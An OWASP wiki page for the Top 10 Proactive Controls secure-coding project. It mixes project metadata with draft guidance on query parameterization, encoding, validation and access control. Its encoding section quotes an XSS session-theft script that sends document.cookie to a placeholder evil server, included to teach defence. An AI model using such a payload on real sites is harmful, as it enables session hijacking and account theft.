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== OWASP Proactive Controls ==
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== OWASP Top 10 Proactive Controls 2018 ==
  
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Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.
  
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.  
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The OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.
  
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.
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# Define Security Requirements
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# Leverage Security Frameworks and Libraries
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# Secure Database Access
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# Encode and Escape Data
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# Validate All Inputs
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# Implement Digital Identity
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# Enforce Access Controls
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# Protect Data Everywhere
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# Implement Security Logging and Monitoring
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#  Handle All Errors and Exceptions
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For more information, see the complete document in the tab to the right.
  
 
==Licensing==
 
==Licensing==
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The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].
 
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].
  
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== What is this? ==
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== What is This? ==
  
The OWASP Proactive Controls
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The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.
  
* This document was written by developers for developers, to assist those new to secure development.
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== Presentation ==
  
== Email List ==
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Use the extensive [[media:OWASP_Top_Ten_Proactive_Controls_v3.pptx|project presentation]] that expands on the information in the document.
  
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]
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== Project Leaders ==
  
== Project Leader ==
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* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:[email protected] @]
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* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:[email protected] @]
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* [https://www.owasp.org/index.php/User:Katyanton Katy Anton] [mailto:[email protected] @]
  
Project Leaders:<br/>Jim Manico<br/>
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== Key Contributors ==
Andrew Van Der Stock<br/>
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* [[User:Taras Ivashchenko|Taras Ivashchenko]] [mailto:[email protected] @] (Russian Translation)
Jim Bird<br/>
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* Jay Zudilin (Russian Translation)
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* Danny Harris [mailto:[email protected] @]
Contributors: <br/>
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* Hiroaki Kuramochi (Japanese Translation)
Stephen de Vries
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* Hiroshi Fujimoto (Japanese Translation)
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* Hidenori Nagai (Japanese Translation)
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* [https://www.owasp.org/index.php/User:Riotaro_OKADA Riotaro OKADA] [mailto:[email protected] @] (Japanese Translation)
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* Robert Dracea (Japanese Translation)
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* Koichiro Watanabe (Japanese Translation)
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* Tony Hsu Hsiang Chih (Chinese Translation)
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* Abdessamad Temmar
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* [https://www.linkedin.com/in/eyalestrin Eyal Estrin] [mailto:[email protected] @] (Hebrew Translation)
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* [https://www.owasp.org/index.php/User:Cyrille_Grandval Cyrille Grandval] [mailto:[email protected] @] (French Translation)
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* Frédéric Baillon [mailto:[email protected] @] (French Translation)
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* Danny Harris [mailto:[email protected] @]
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* Stephen de Vries
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* Andrew Van Der Stock
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* Gaz Heyes
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* Colin Watson
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* Jason Coleman
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* Cassio Goldschmidt
  
 
== Related Projects ==
 
== Related Projects ==
  
 
* [[OWASP Top Ten Project]]
 
* [[OWASP Top Ten Project]]
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* [[OWASP Mobile Security Project]]
 
* [[Cheat Sheets]]
 
* [[Cheat Sheets]]
  
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== Quick Access ==
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* Top 10 Proactive Controls 2018 PDF:  [[Media:OWASP_Top_10_Proactive_Controls_V3.pdf|EN]] | [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PL]]  | [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|Ru]]
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* Top 10 Proactive Controls 2018 [[Media:OWASP_Top_Ten_Proactive_Controls_v3.pptx|PPT Download]]
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* Top 10 Proactive Controls 2018 [[Media:OWASP_Top_10_Proactive_Controls_V3.docx|DOCX Download]]
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* Mapping to other OWASP and IEEE Top 10 Lists [[Media:Owasp-pc-ieee-ott-omtt-ssdf.pdf|PDF Download]]
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== Translations ==
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* Top 10 Proactive Controls 2018 Chinese [[Media:OWASP_Top_10_Proactive_Controls_V3_Chinese.pdf|PDF Download]]
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* Top 10 Proactive Controls 2018 Russian [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|PDF Download]]
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* Top 10 Proactive Controls 2018 Polish [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PDF Download]]
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* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
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* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
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* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
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* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
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== Latest News and Events ==
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* [Aug 2018] 3.0 Polish Translation Released!
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* [May 2018] 3.0 Released!
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* [June 2016] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
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* [June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec]
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Please see the  [{{SERVER}}/index.php/OWASP_Proactive_Controls?refresh=123#tab=News News] tab for more.
  
== News and Events ==
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== Archive ==
* [Feb 4 2014] New Wiki Template!
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* [{{SERVER}}/index.php/OWASP_Proactive_Controls_2014 Proactive Controls 2014]
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* [{{SERVER}}/index.php/OWASP_Proactive_Controls_2016 Proactive Controls 2016]
  
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== Mailing List ==
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= OWASP Top Ten Proactive Controls =
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= OWASP Proactive Controls 2018 =
 
 
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.
 
 
 
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.
 
 
 
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.
 
 
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document. 
 
 
 
Introducing the OWASP Top Ten and one half Proactive Controls 2014.
 
 
 
== 1) Query Parameterization ==
 
 
 
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.
 
 
 
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database. 
 
 
 
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.
 
 
 
Here is an example of query parameterization  Parameterization  in Java:
 
 
 
String newName = request.getParameter("newName");
 
String id = request.getParameter("id");
 
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); 
 
pstmt.setString(1, newName);
 
pstmt.setString(2, id);
 
 
 
Here is an example of query parameterization in PHP:
 
 
 
$email  = $_REQUEST[‘email’];
 
$ id’= $_REQUEST[‘id’];
 
$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);
 
$stmt->bindParam(':new_email', $email);
 
$stmt->bindParam(':user_id', $id);
 
 
 
For more information, please see the [[Query Parameterization Cheat Sheet]].
 
 
 
== 2) Encoding ==
 
 
 
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.
 
 
 
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects.
 
 
 
For example:
 
 
 
XSS site defacement:
 
 
 
<script>document.body.innerHTML(“Jim was here”);</script>
 
 
 
XSS session theft:
 
 
 
<script>
 
var img = new Image();
 
img.src=&quot;hxxp://<some evil server>.com?” + document.cookie;
 
</script>
 
 
 
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.
 
 
 
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.
 
 
 
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.
 
 
 
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
 
 
 
== 3) Validation ==
 
 
 
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.
 
 
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.
 
 
 
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.
 
 
 
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)
 
 
 
Let’s start with the following regular expression for the username.
 
 
 
^[a-z0-9_]{3,16}$
 
 
 
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.
 
 
 
Here is an example regular expression for the password field.
 
 
 
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$
 
 
 
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).
 
 
 
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).
 
 
 
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
 
 
 
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.
 
 
 
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.
 
 
 
== 4) Access Control TODO JMANICO ==
 
 
 
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.
 
 
 
=== Access Control Issues===
 
 
 
* Many applications used the "All or Nothing" approach - Once authenticated, all users have equal privileges
 
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:
 
* Users will not find unlinked or hidden paths or functionality
 
* Users will not find and tamper with "obscured" client side parameters (i.e. "hidden" form fields, cookies, etc.)
 
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges
 
* Many administrative interfaces require only a password for authentication
 
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators
 
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users
 
* Authorization/Access Control relies on client-side information (e.g., hidden fields)
 
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts
 
* Some web applications access the database via sa or other administrative account (or more privileges than required)
 
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application
 
    <input type="text" name="fname" value="Derek">
 
    <input type="text" name="lname" value="Jeter">
 
    <input type="hidden" name="usertype" value="admin">
 
 
 
=== Access Control Anti-Patterns ===
 
 
 
* Hard-coded role checks in application code
 
* Lack of centralized access control logic
 
* Untrusted data driving access control decisions
 
* Access control that is "open by default"
 
* Lack of addressing horizontal access control in a standardized way (if at all)
 
* Access control logic that needs to be manually added to every endpoint in code
 
* non-anonymous entry point DO NOT have an access control check
 
* No authorization check at or near the beginning of code implementing sensitive activities
 
 
 
For more information on access control, please see the [[Access Control Cheat Sheet]].
 
 
 
== 5) Identity and Authentication ==
 
 
 
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.
 
 
 
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.
 
 
 
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.
 
 
 
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].
 
 
 
== 6) Data Protection and Privacy ==
 
 
 
=== Encryption in Transit ===
 
  
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.  
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* Top 10 Proactive Controls 2018 [{{SERVER}}/images/1/13/OWASP_Top_Ten_Proactive_Controls_v3.pptx PPT download].
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* Top 10 Proactive Controls 2018 [{{SERVER}}/images/7/79/OWASP_Top_10_Proactive_Controls_V3.docx DOCX download].
  
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].
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=== Encryption at Rest TODO JMANICO===
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= News =
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* [ July 2019] Featured in Coursera course from UCDavies [https://www.coursera.org/directory/videos?courseId=V1k0pBtIEemZRAqH7m9oGA Identifying Security Vulnerabilities]
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* [23 June 2019] Featured on HackerCombat: [https://hackercombat.com/implement-owasp-proactive-controls-to-work/ Implement OWASP Proactive Controls to Work]
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* [7 June 2019] Feature on OWASP DevSlop Show [https://www.youtube.com/watch?v=Jdb3qweDc_Q  Proactive Controls]
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* [15 May 2019] Featured in TechBeacon: [https://techbeacon.com/security/put-owasp-top-10-proactive-controls-work Put OWASP Top 10 Proactive Controls to work]
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* [2 Mar 2019] Webinar: [https://www.youtube.com/watch?v=ldXe8f5yVq8 The OWASP Top Ten Proactive Controls with Jim Manico]
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* [Dec 2018] Featured as the resource for Security “Shifting to the Left”!  in the  ISC2 course:  "DevSecOps: Integrating Security into DevOps”
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* [20 Sep 2018 Featured in TechBeacon: [https://techbeacon.com/owasp-top-10-proactive-controls-2018-how-it-makes-your-code-more-secure OWASP Top 10 Proactive Controls 2018: How it makes your code more secure]
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* [17 Sep 2018] Binary Blogger Podcast Episodes: [https://binaryblogger.com/2018/09/17/owasp-top-10-proactive-controls-podcast-episodes/ OWASP Top 10 Proactive Controls Podcast Episodes]
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* [9 May 2018]  Featured in [https://techbeacon.com/developer-secure-code-starter-kit-resources Developer's security guide: 50 online resources to shift left]
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* [7 May 2018] 3.0 released!
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* [11 Aug 2017] Presented at  [https://northeastphp2017.sched.com/event/B6uo/owasp-top-10-proactive-controls-2016 Northeast PHP Conference]
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* [25 July 2017] Podcast about at [https://www.appsecpodcast.org/2017/07/25/the-owasp-top-10-proactive-controls/ OWASP Top 10 Proactive Controls]
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* [12 May 2017] Presented at [https://appseceurope2017.sched.com/event/A652/the-path-of-secure-software AppSec EU'17 - Belfast]
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* [14 Feb 2017] Featured in [http://wwpi.com/2017/02/14/managing-cloud-infrastructure-to-prevent-security-gaps/ Managing Cloud Infrastructure to Prevent Security Gaps]
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* [Feb 2017 ] Featured in "[http://assets.unisys.com/Documents/Global/POVPapers/POV_170062_ApplicationSecurityProgramProtectAgainstDataBreaches.pdf Application Security Program: Protect Against Data Breaches]"
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* [ 1 Oct 2016] Presented at [http://conference.phpnw.org.uk/phpnw16/speakers/katy-anton/ PHPNW16]
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* [5 July 2016] Featured in [https://www.thoughtworks.com/insights/blog/incorporating-security-best-practices-agile-teams Incorporating Security Best Practices into Agile Teams]
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* [June 2016 ] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
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* [2 June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec - Securing Software through Continuous Delivery]
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* [30 Apr 2016] Added Hebrew Translation for 2016 version
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* [28 Apr 2016] Added Chinese Translations for 2016 version
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* [12 Apr 2016] Added Hebrew translation for 2016 version
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* [29 Feb 2016] Added [https://www.owasp.org/images/a/a8/OWASPTop10ProactiveControls2016-Japanese.pdf Japanese Translation]
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* [14 Jan 2016] 2.0 released!
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* [5 Dec 2015] Began final edit process for 2.0
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* [29 Mar 2015] Added Hebrew Translation
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* [27 Jan 2015] Added Top Ten Mapping
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* [31 Oct 2014] Project presentation uploaded
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* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]
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#1 forced to encrypt data via standards like PCI
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= Users =
#2 doing low level crypto by hand leads to bad crypto
 
#3 user well vetted libraries like KeyCzar
 
#4 key management a bear
 
#5 tiering and trust - crypto services vs embedding crypto at the app layer
 
#6 symmetric/asymmetric encryption
 
#7 weirdness of password strorage crypto (punt to the CS)
 
#8 digital signatures
 
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?
 
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].
 
  
=== Protection in Process ===
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Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.
 
  
== 7) Logging, Error Handling and Intrusion Detection ==
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'''Disclaimer'''
  
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:
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* Application monitoring
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'''How to get listed'''
* Business analytics and insight
 
* Activity auditing and compliance monitoring
 
* System intrusion detection
 
* Forensics
 
  
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.
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The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].
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= Formal Numbering =
  
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.
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== 2018 Numbering ==
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* OWASP-2018-C1: Define Security Requirements
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* OWASP-2018-C2: Leverage Security Frameworks and Libraries
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* OWASP-2018-C3: Secure Database Access
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* OWASP-2018-C4: Encode and Escape Data
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* OWASP-2018-C5: Validate All Inputs
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* OWASP-2018-C6: Implement Digital Identity
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* OWASP-2018-C7: Enforce Access Controls
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* OWASP-2018-C8: Protect Data Everywhere
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* OWASP-2018-C9: Implement Security Logging and Monitoring
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* OWASP-2018-C10: Handle All Errors and Exceptions
  
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection or Log Forging, make sure to perform validation or encoding on untrusted data before logging it.
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== 2016 Numbering ==
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* OWASP-2016-C1: Verify for Security Early and Often
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* OWASP-2016-C2: Parameterize Queries
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* OWASP-2016-C3: Encode Data
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* OWASP-2016-C4: Validate All Inputs
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* OWASP-2016-C5: Implement Identity and Authentication Controls
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* OWASP-2016-C6: Implement Appropriate Access Controls
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* OWASP-2016-C7: Protect Data
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* OWASP-2016-C8: Implement Logging and Intrusion Detection
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* OWASP-2016-C9: Leverage Security Frameworks and Libraries
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* OWASP-2016-C10: Error and Exception Handling
  
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].
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== 2014 Numbering ==
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* OWASP-2014-C1: Parameterize Queries
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* OWASP-2014-C2: Encode Data
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* OWASP-2014-C3: Validate All Inputs
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* OWASP-2014-C4: Implement Appropriate Access Controls
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* OWASP-2014-C5: Establish Identity and Authentication Controls
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* OWASP-2014-C6: Protect Data and Privacy
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* OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
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* OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
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* OWASP-2014-C9: Include Security-Specific Requirements
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* OWASP-2014-C10: Design and Architect Security In
  
== 8) Leverage Security Features of Frameworks and Security Libraries ==
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= Translations =  
  
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.
 
  
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:
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== 2018 Version ==
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* Top 10 Proactive Controls 2018 Russian Translation: [[Media:Owasp-top-10-proactive-controls-2018-russian.pdf|PDF Download]]
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* Top 10 Proactive Controls 2018 Polish Translation:  [[Media:OWASP_TOP_10_Proactive_Controls_2018_V3_PL.pdf|PDF Download]] 
  
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]
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== 2016 Version ==
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]
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* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]
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* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
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* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
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* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
  
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities <i>using components with known vulnerabilities</i> Top Ten 2013 risk].
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== 2014 Version ==
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* Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.
  
== 9) Security in Requirements ==
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= Roadmap =
  
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:
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Welcome to the OWASP Top 10 Proactive Controls Project!
  
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff.
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== 2018 Roadmap ==
  
2) '''Business Logic Abuse Cases''': Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from "abuse-cases".  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.
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* Create wiki for 2018 version (work in progress)
  
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.
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== 2016 Roadmap ==
  
== 10) Security in Architecture and Design ==
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* Proactive Control Mapping to Cheatsheet (done)
Security needs to be considered in the architecture and design of the application.
 
 
 
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team needs to understand and manage.
 
 
 
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls should be enforced in the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand these trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.
 
 
 
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (whether you should do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?
 
 
 
For more information, see the [[Attack Surface Analysis Cheat Sheet]].
 
 
 
= Project Roadmap =
 
 
 
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source.
 
  
 
== Status ==
 
== Status ==
  
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.
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* February 21, 2014 Moved 2014 info to archive tab
 
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* January 15, 2016: 2016 Proactive Controls Released!
= Who are we? =
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* August 6, 2015: Kickoff for 2.0 effort, in progress
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* March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.<br />
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* February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.
  
Jim Manico [email protected]<br/>
 
Andrew Van Der Stock [email protected]<br/>
 
Stephen de Vries [email protected]<br/>
 
Jim Bird [email protected]<br/>
 
  
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OWASP Top 10 Proactive Controls 2018

Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.

The OWASP Top Ten Proactive Controls 2018 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.

  1. Define Security Requirements
  2. Leverage Security Frameworks and Libraries
  3. Secure Database Access
  4. Encode and Escape Data
  5. Validate All Inputs
  6. Implement Digital Identity
  7. Enforce Access Controls
  8. Protect Data Everywhere
  9. Implement Security Logging and Monitoring
  10. Handle All Errors and Exceptions


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"Giving developers guidance that was practical was challenging. The OWASP Top 10 Proactive Controls helped a lot."


Disclaimer

Organizations listed are not accredited by OWASP. Neither their products or services have been endorsed by OWASP.

How to get listed

Please let us know how your organization is using OWASP Top 10 Proactive Controls. Include your name, organization's name, and brief description of how you use the project. The project lead can be reached here.

2018 Numbering

  • OWASP-2018-C1: Define Security Requirements
  • OWASP-2018-C2: Leverage Security Frameworks and Libraries
  • OWASP-2018-C3: Secure Database Access
  • OWASP-2018-C4: Encode and Escape Data
  • OWASP-2018-C5: Validate All Inputs
  • OWASP-2018-C6: Implement Digital Identity
  • OWASP-2018-C7: Enforce Access Controls
  • OWASP-2018-C8: Protect Data Everywhere
  • OWASP-2018-C9: Implement Security Logging and Monitoring
  • OWASP-2018-C10: Handle All Errors and Exceptions

2016 Numbering

  • OWASP-2016-C1: Verify for Security Early and Often
  • OWASP-2016-C2: Parameterize Queries
  • OWASP-2016-C3: Encode Data
  • OWASP-2016-C4: Validate All Inputs
  • OWASP-2016-C5: Implement Identity and Authentication Controls
  • OWASP-2016-C6: Implement Appropriate Access Controls
  • OWASP-2016-C7: Protect Data
  • OWASP-2016-C8: Implement Logging and Intrusion Detection
  • OWASP-2016-C9: Leverage Security Frameworks and Libraries
  • OWASP-2016-C10: Error and Exception Handling

2014 Numbering

  • OWASP-2014-C1: Parameterize Queries
  • OWASP-2014-C2: Encode Data
  • OWASP-2014-C3: Validate All Inputs
  • OWASP-2014-C4: Implement Appropriate Access Controls
  • OWASP-2014-C5: Establish Identity and Authentication Controls
  • OWASP-2014-C6: Protect Data and Privacy
  • OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
  • OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
  • OWASP-2014-C9: Include Security-Specific Requirements
  • OWASP-2014-C10: Design and Architect Security In

2018 Version

  • Top 10 Proactive Controls 2018 Russian Translation: PDF Download
